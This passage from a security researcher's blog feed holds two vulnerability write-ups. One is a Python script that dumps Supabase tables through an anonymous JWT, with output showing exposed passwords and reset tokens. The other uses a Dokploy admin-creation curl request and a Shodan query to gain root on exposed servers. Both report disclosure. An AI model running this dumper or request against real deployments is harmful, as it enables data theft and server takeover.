    <span class="k">return</span> <span class="n">all_rows</span><span class="p">,</span> <span class="mi">200</span>

<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="n">args</span> <span class="o">=</span> <span class="nf">parse_args</span><span class="p">()</span>
    <span class="n">base_url</span><span class="p">,</span> <span class="n">apikey</span><span class="p">,</span> <span class="n">jwt</span> <span class="o">=</span> <span class="nf">get_config</span><span class="p">(</span><span class="n">args</span><span class="p">)</span>

    <span class="n">headers</span> <span class="o">=</span> <span class="p">{</span>
        <span class="sh">"</span><span class="s">apikey</span><span class="sh">"</span><span class="p">:</span> <span class="n">apikey</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">Authorization</span><span class="sh">"</span><span class="p">:</span> <span class="sa">f</span><span class="sh">"</span><span class="s">Bearer </span><span class="si">{</span><span class="n">jwt</span><span class="si">}</span><span class="sh">"</span><span class="p">,</span>
    <span class="p">}</span>

    <span class="n">os</span><span class="p">.</span><span class="nf">makedirs</span><span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="n">out</span><span class="p">,</span> <span class="n">exist_ok</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>

    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[*] Enumerating exposed tables...</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">tables</span> <span class="o">=</span> <span class="nf">get_paths</span><span class="p">(</span><span class="n">base_url</span><span class="p">,</span> <span class="n">headers</span><span class="p">)</span>

    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Found </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">tables</span><span class="p">)</span><span class="si">}</span><span class="s"> tables</span><span class="se">\n</span><span class="sh">"</span><span class="p">)</span>

    <span class="n">summary</span> <span class="o">=</span> <span class="p">[]</span>

    <span class="k">for</span> <span class="n">table</span> <span class="ow">in</span> <span class="n">tables</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[*] Dumping table: </span><span class="si">{</span><span class="n">table</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="n">rows</span><span class="p">,</span> <span class="n">status</span> <span class="o">=</span> <span class="nf">dump_table</span><span class="p">(</span><span class="n">base_url</span><span class="p">,</span> <span class="n">table</span><span class="p">,</span> <span class="n">headers</span><span class="p">,</span> <span class="n">args</span><span class="p">.</span><span class="n">page_size</span><span class="p">)</span>

        <span class="k">if</span> <span class="n">status</span> <span class="o">==</span> <span class="mi">200</span> <span class="ow">and</span> <span class="n">rows</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span>
            <span class="n">path</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="n">out</span><span class="p">,</span> <span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">table</span><span class="si">}</span><span class="s">.json</span><span class="sh">"</span><span class="p">)</span>
            <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="sh">"</span><span class="s">w</span><span class="sh">"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
                <span class="n">json</span><span class="p">.</span><span class="nf">dump</span><span class="p">(</span><span class="n">rows</span><span class="p">,</span> <span class="n">f</span><span class="p">,</span> <span class="n">indent</span><span class="o">=</span><span class="mi">2</span><span class="p">)</span>

            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">    [+] Dumped </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">rows</span><span class="p">)</span><span class="si">}</span><span class="s"> rows → </span><span class="si">{</span><span class="n">path</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="n">summary</span><span class="p">.</span><span class="nf">append</span><span class="p">({</span>
                <span class="sh">"</span><span class="s">table</span><span class="sh">"</span><span class="p">:</span> <span class="n">table</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">readable</span><span class="sh">"</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">rows</span><span class="sh">"</span><span class="p">:</span> <span class="nf">len</span><span class="p">(</span><span class="n">rows</span><span class="p">),</span>
                <span class="sh">"</span><span class="s">file</span><span class="sh">"</span><span class="p">:</span> <span class="n">path</span><span class="p">,</span>
            <span class="p">})</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">    [-] Blocked (HTTP </span><span class="si">{</span><span class="n">status</span><span class="si">}</span><span class="s">)</span><span class="sh">"</span><span class="p">)</span>
            <span class="n">summary</span><span class="p">.</span><span class="nf">append</span><span class="p">({</span>
                <span class="sh">"</span><span class="s">table</span><span class="sh">"</span><span class="p">:</span> <span class="n">table</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">readable</span><span class="sh">"</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">status_code</span><span class="sh">"</span><span class="p">:</span> <span class="n">status</span><span class="p">,</span>
            <span class="p">})</span>

    <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="n">out</span><span class="p">,</span> <span class="sh">"</span><span class="s">_summary.json</span><span class="sh">"</span><span class="p">),</span> <span class="sh">"</span><span class="s">w</span><span class="sh">"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">json</span><span class="p">.</span><span class="nf">dump</span><span class="p">(</span><span class="n">summary</span><span class="p">,</span> <span class="n">f</span><span class="p">,</span> <span class="n">indent</span><span class="o">=</span><span class="mi">2</span><span class="p">)</span>

    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="se">\n</span><span class="s">[+] Done. Summary written to dump/_summary.json</span><span class="sh">"</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">"</span><span class="s">__main__</span><span class="sh">"</span><span class="p">:</span>
    <span class="nf">main</span><span class="p">()</span>
</code></pre></div></div>

<p>The goal was not exploitation, but validation. I wanted to understand whether <a href="https://supabase.com/docs/guides/database/postgres/row-level-security">Row Level Security</a> was consistently enforced across the backend, or whether the issue extended beyond password reset tokens.</p>

<p>Running the script quickly made the answer clear.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>🗂  ~/Desktop/superbase-exposure-check - ⬢ v22.18.0
⚡ python3 supabase-exposure-check.py
[*] Enumerating exposed tables...
[+] Found 34 tables

[*] Dumping table: m█████████s
    [+] Dumped 38180 rows → dump/m█████████s.json
[*] Dumping table: a██s
    [+] Dumped 2168 rows → dump/a██s.json
[*] Dumping table: s██e██ed_██sts
    [+] Dumped 792 rows → dump/s██e██ed_██sts.json
[*] Dumping table: i████tions
    [+] Dumped 0 rows → dump/i████tions.json
[*] Dumping table: product_██ases
    [+] Dumped 9938 rows → dump/product_██ases.json
[*] Dumping table: us██_age
    [+] Dumped 0 rows → dump/us██_age.json
[*] Dumping table: user_████s██_access
...
</code></pre></div></div>

<p>Rather than being limited to a single misconfigured table, multiple tables were accessible using the anonymous token. This confirmed a systemic <a href="https://supabase.com/docs/guides/database/postgres/row-level-security">Row Level Security</a> failure, not an isolated edge case. Several of the exposed tables contained highly sensitive PII, including <strong>plaintext, non-hashed passwords</strong>, which significantly elevated the overall risk and impact.</p>

<h2 id="safe-proof-of-concept">Safe Proof-of-Concept</h2>

<p>The next step was to confirm that I was not imagining things and that this really worked. To do so, I decided to safely test the flow with a controlled account I created. The process is simple: you need to know the password reset path and where to place the token.</p>

<p>After creating a test account and requesting a password reset, I obtained the reset link:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://████████████████/reset-password?token=&lt;token&gt;
</code></pre></div></div>

<p>This confirmed that the flow worked as expected. With the token in the URL, the reset page accepted it and allowed changing the password. At this point, it was clear that the <strong>anonymous <a href="https://datatracker.ietf.org/doc/html/rfc7519">JWT</a> had the ability to access password reset tokens and perform actions that should have been restricted</strong>.</p>

<p>I could have continued digging and increased the impact further. With the level of access available, there were several other paths worth exploring.</p>

<p>I decided to stop here.</p>

<p>The goal was never exploitation. The issue was already clear, reproducible, and severe enough to demonstrate a full account takeover risk. Going any further would not have added meaningful value.</p>

<h2 id="responsible-disclosure">Responsible Disclosure</h2>

<p>I documented the findings and reported the issue to the site owner with clear reproduction steps, impact, and remediation guidance.</p>

<p>This was a strong reminder that even tokens intended to be public, like Supabase anonymous <a href="https://datatracker.ietf.org/doc/html/rfc7519">JWTs</a>, can become extremely dangerous when authorization controls such as Row Level Security are misconfigured.</p>

<hr />

<h2 id="why-rep-is-valuable">Why rep+ is Valuable</h2>

<p>Finally, this case perfectly demonstrates why tools like <a href="https://github.com/repplus/rep/"><strong>rep+</strong></a> are so valuable. It allowed me to quickly detect sensitive information, test the flow safely, and understand the security impact without relying on external tools.</p>

<h2 id="getting-rep">Getting rep+</h2>

<p>If you are interested in exploring <a href="https://github.com/repplus/rep/"><strong>rep+</strong></a> yourself, you can:</p>

<ul>
  <li>Install the Chrome extension: <a href="https://chromewebstore.google.com/detail/rep+/dhildnnjbegaggknfkagdpnballiepfm">rep+ on Chrome Web Store</a></li>
  <li>Check out the GitHub repository: <a href="https://github.com/repplus/rep">https://github.com/repplus/rep</a></li>
</ul>

<p>I share daily updates about shipping new features and improvements in <a href="https://github.com/repplus/rep/"><strong>rep+</strong></a> publicly on <a href="https://x.com/BourAbdelhadi">𝕏</a>, so feel free to follow me for the latest news.</p>

<p>If you like the project and want to support its development, consider <a href="https://github.com/sponsors/bscript">joining the 11 sponsors</a> who are already backing it. Your support helps keep the project growing and allows me to continue building powerful security tools for the community.</p>

<h2 id="references">References</h2>

<ol>
  <li><a id="ref-1"></a><a href="https://supabase.com/docs/guides/api/api-keys">Supabase API Keys – anon vs service role</a></li>
  <li><a id="ref-2"></a><a href="https://www.postgresql.org/docs/current/ddl-rowsecurity.html">PostgreSQL Documentation – Row Level Security</a></li>
  <li><a id="ref-3"></a><a href="https://supabase.com/docs/guides/database/postgres/row-level-security#common-pitfalls">Supabase – Row Level Security Common Pitfalls</a></li>
  <li><a id="ref-4"></a><a href="https://www.cloudflare.com/learning/access-management/account-takeover">Account Takeover</a></li>
  <li><a id="ref-5"></a><a href="https://github.com/bscript/superbase-exposure-check">supabase-exposure-check – Automated RLS Exposure Validation Script</a></li>
</ol>]]></content><author><name>BOUR Abdelhadi</name></author><summary type="html"><![CDATA[Table of Contents]]></summary></entry><entry><title type="html">Dokploys: How I Accidentally Became an Admin on 600 Servers</title><link href="https://bour.ch/dokploys-how-i-accidentally-became-an-admin-on-600-servers/" rel="alternate" type="text/html" title="Dokploys: How I Accidentally Became an Admin on 600 Servers" /><published>2024-08-26T20:53:00+00:00</published><updated>2024-08-26T20:53:00+00:00</updated><id>https://bour.ch/dokploys-how-i-accidentally-became-an-admin-on-600-servers</id><content type="html" xml:base="https://bour.ch/dokploys-how-i-accidentally-became-an-admin-on-600-servers/"><![CDATA[<h2 id="table-of-contents">Table of Contents</h2>
<ul>
  <li><a href="#introduction">Introduction</a></li>
  <li><a href="#starting-with-the-basics">Starting with the Basics</a></li>
  <li><a href="#diving-into-dokploy">Diving into Dokploy</a></li>
  <li><a href="#final-thoughts">Final Thoughts</a></li>
</ul>

<h2 id="introduction">Introduction</h2>

<p>As I was going through <a href="https://news.ycombinator.com/">Hacker News</a>, a <a href="https://news.ycombinator.com/item?id=41358020">trending topic</a> about <a href="https://dokku.com/">Dokku</a> caught my eye. It was the top-ranked post at the time. For those who aren’t familiar, <a href="https://dokku.com/">Dokku</a> is an open-source Platform as a Service (PaaS) that you can run on your own server. It’s often compared to Heroku, but with the added benefit of complete ownership and control. The article was insightful, but what really piqued my interest was a comment mentioning a similar tool called <a href="https://dokploy.com/">Dokploy</a>. It’s like <a href="https://dokku.com/">Dokku</a>, but with a more user-friendly interface, a great addition for those who appreciate simplicity. Kudos to the team/developer behind it.</p>

<p><img src="/assets/img/dokploy-hn.webp" alt="Hacker News comment mentioning Dokploy" /></p>

<p>Being someone who enjoys exploring the security aspects of applications, I was curious to see how many people were using <a href="https://dokploy.com/">Dokploy</a>, especially since it had gained <a href="https://github.com/Dokploy/dokploy">5.6k stars</a>. My goal was to identify any vulnerabilities that could potentially compromise the instances running this tool.</p>

<h2 id="starting-with-the-basics">Starting with the Basics</h2>

<p>When testing applications, I often begin by looking for low-hanging fruit, vulnerabilities that are easy to find and exploit. In today’s fast-paced development environment, small security oversights are common, so they’re often the most fruitful areas to explore. Before downloading <a href="https://dokploy.com/">Dokploy</a> to my local machine, I watched <a href="https://www.youtube.com/watch?v=mznYKPvhcfw">the demo</a> on the official <a href="https://dokploy.com/">website</a>. Around the <a href="https://youtu.be/mznYKPvhcfw?t=169">2:49</a> mark during the registration process, several questions came to mind as part of the threat modeling process:</p>

<ul>
  <li>Will the /register route remain accessible after the initial registration, potentially allowing unauthorized users to create accounts?</li>
  <li>Could an attacker exploit this route to create a new user or override an existing one?</li>
  <li>Is there a role-based access control (RBAC) mechanism implemented to manage permissions effectively and ensure that users only have access to resources appropriate to their roles?</li>
  <li>Are there any additional security measures in place to prevent unauthorized access or privilege escalation?</li>
  <li>.. etc</li>
</ul>

<p>These questions are critical for understanding the potential risks and ensuring the security of the application.</p>

<h2 id="diving-into-dokploy">Diving into Dokploy</h2>

<p>I followed the <a href="https://docs.dokploy.com/en/docs/core/get-started/manual-installation">manual installation</a> steps because I prefer to know exactly what’s running on my machine. After building the Docker image and registering a new account, I intercepted the registration request to examine its details:</p>

<ul>
  <li>The API endpoint used</li>
  <li>The request body content</li>
</ul>

<p>Here’s what the registration request looked like:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl 'http://127.0.0.1:3000/api/trpc/auth.createAdmin?batch=1' \
  -H 'Accept: */*' \
  -H 'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,ro;q=0.7' \
  -H 'Connection: keep-alive' \
  -H 'Origin: http://127.0.0.1:3000' \
  -H 'Referer: http://127.0.0.1:3000/register' \
  -H 'Sec-Fetch-Dest: empty' \
  -H 'Sec-Fetch-Mode: cors' \
  -H 'Sec-Fetch-Site: same-origin' \
  -H 'User-Agent: [REDACTED] \
  -H 'content-type: application/json' \
  -H 'sec-ch-ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"' \
  -H 'sec-ch-ua-mobile: ?0' \
  -H 'sec-ch-ua-platform: "macOS"' \
  --data-raw '{"0":{"json":{"email":"test@gmail.com","password":"█████████"}}}'
</code></pre></div></div>

<p>With this information, I then used <a href="https://shodan.io">Shodan</a>, a search engine for finding specific devices connected to the internet, to locate instances running <a href="https://dokploy.com/">Dokploy</a>. My search query <code class="language-plaintext highlighter-rouge">http.html:Dokploy</code> returned about 610 IPs. Interestingly, 158 of these were in Germany, likely because many users opted for Hetzner’s VPS hosting, which offers competitive pricing.</p>

<p><img src="/assets/img/dokploy-shodan.webp" alt="Shodan results for Dokploy" /></p>

<p>Now, to address my earlier questions:</p>

<p><strong>Can an attacker create a new user or override the current legitimate user?</strong></p>

<p>It turns out, yes, they can. By manipulating the registration API endpoint <code class="language-plaintext highlighter-rouge">api/trpc/auth.createAdmin?batch=1</code> and altering the request body, it’s possible to create a new admin user or even override the existing one. Here’s what the response looked like:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="w">
  </span><span class="p">{</span><span class="w">
    </span><span class="nl">"result"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"data"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"json"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
      </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">]</span><span class="w">
</span></code></pre></div></div>

<p>This response confirmed that I successfully created a new user and could log in as an administrator. But that wasn’t all. I found an endpoint that returned sensitive information, such as project details and admin user data. And as if that wasn’t enough, I accessed the terminal via the <a href="https://dokploy.com/">Dokploy</a> control panel and ran the whoami command, which returned :3</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/share/nginx/html # whoami
root
</code></pre></div></div>

<p>This indicated that I had full control over the server with root privileges, a significant security concern.</p>

<h2 id="final-thoughts">Final Thoughts</h2>

<p>Creating tools like <a href="https://dokploy.com/">Dokploy</a> is commendable, and it’s clear that the team behind it has put in a lot of effort. However, it’s equally important to involve security experts early in the development process to identify and mitigate potential vulnerabilities before the tool is released into production. Addressing low-hanging vulnerabilities is a crucial first step in ensuring the security of any application. While I didn’t have time to explore every potential issue, I hope this initial exploration serves as a starting point for others in the security community to further investigate and contribute to the project’s improvement.</p>

<hr />

<p>I contacted the owner of the <a href="https://dokploy.com/">Dokploy</a> project to report the vulnerability I found, and I was impressed by how quickly he responded. Not only did he reply promptly, but he also <a href="https://github.com/Dokploy/dokploy/releases/tag/v0.7.2">pushed a fix</a> with impressive speed. It’s great to see such a proactive approach to security.</p>]]></content><author><name>BOUR Abdelhadi</name></author><summary type="html"><![CDATA[Table of Contents Introduction Starting with the Basics Diving into Dokploy Final Thoughts]]></summary></entry></feed>